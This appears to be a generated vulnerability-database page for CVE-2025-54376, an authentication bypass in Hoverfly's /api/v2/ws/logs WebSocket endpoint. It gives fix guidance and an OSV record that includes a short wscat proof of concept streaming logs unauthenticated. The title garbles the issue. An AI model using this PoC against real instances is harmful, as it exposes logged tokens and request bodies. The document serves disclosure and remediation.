CVE-2025-54376: Github.com/SpectoLabs/hoverfly WebSocket Endpoint `/api/v2/ws/logs` Reachable Without Vulnerability
HIGHCVE-2025-54376 is a HIGH websocket endpoint `/api/v2/ws/logs` reachable without vulnerability (CWE-287: Improper Authentication) affecting Github.com/SpectoLabs/hoverfly libraries in the Go ecosystem. The issue involves websocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled. Remediation is available by upgrading affected packages to version 1.12.0.
CVE-2025-54376 at a Glance
How to Fix CVE-2025-54376
To remediate this vulnerability, upgrade all affected Github.com/SpectoLabs/hoverfly dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/SpectoLabs/hoverfly to 1.12.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/SpectoLabs/hoverfly
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-54376, inspect your project dependencies for Github.com/SpectoLabs/hoverfly:
inspect dependencies for github.com/SpectoLabs/hoverfly
Analyze the terminal output to locate any version of Github.com/SpectoLabs/hoverfly in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.12.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Github.com/SpectoLabs/hoverfly, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-54376 Affected Github.com/SpectoLabs/hoverfly Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/SpectoLabs/hoverfly
|
Go |
< 1.12.0
|
1.12.0
|
References
Frequently Asked Questions
What is CVE-2025-54376?
Which Github.com/SpectoLabs/hoverfly versions are affected?
What version fixes CVE-2025-54376?
Is github.com/SpectoLabs/hoverfly affected?
What CWE is associated with CVE-2025-54376?
How can I check Go dependencies for CVE-2025-54376?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jxmr-2h4q-rhxp",
"modified" : "2025-09-24T21:14:07Z",
"published" : "2025-09-10T20:43:49Z",
"aliases" : [ "CVE-2025-54376" ],
"summary" : "WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled",
"details" : "### Summary\nHoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API.\nConsequently, an unauthenticated remote attacker can:\n\n- Stream real-time application logs (information disclosure).\n- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.\n\n### PoC\n1. Start Hoverfly with authentication enabled:\n\n```\n./hoverfly -auth\n```\n\n2. Confirm REST API requires credentials:\n\n```\ncurl -i http://localhost:8888/api/v2/hoverfly/version\n```\n\n3. Connect to the WebSocket endpoint without credentials:\n\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\n# Connected (press CTRL+C to quit)\n# … logs stream immediately … (You would need to send a message to start receiving stream)\n```\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\nConnected (press CTRL+C to quit)\n> hi!\n< {\"logs\":[{\"level\":\"info\",\"msg\":\"Log level set to verbose\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"Using memory backend\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"User added successfully\",\"time\":\"2025-07-20T17:07:00+05:30\",\"username\":\"\"},{\"level\":\"info\",\"msg\":\"Enabling proxy authentication\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"Destination\":\".\",\"Mode\":\"simulate\",\"ProxyPort\":\"8500\",\"level\":\"info\",\"msg\":\"Proxy prepared...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"destination\":\".\",\"level\":\"info\",\"mode\":\"simulate\",\"msg\":\"current proxy configuration\",\"port\":\"8500\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"serving proxy\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"AdminPort\":\"8888\",\"level\":\"info\",\"msg\":\"Admin interface is starting...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"debug\",\"message\":\"hi!\",\"msg\":\"Got message...\",\"time\":\"2025-07-20T17:09:04+05:30\"}]}\n< ...\n< ...\n```\n\n### Impact\nAuthentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/SpectoLabs/hoverfly"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.12.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-jxmr-2h4q-rhxp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54376"
}, {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/commit/ffc2cc34563de67fe1a04f7ba5d78fa2d4564424"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/SpectoLabs/hoverfly"
}, {
"type" : "WEB",
"url" : "https://pkg.go.dev/vuln/GO-2025-3945"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200", "CWE-287" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-09-10T20:43:49Z",
"nvd_published_at" : "2025-09-10T20:15:35Z"
}
}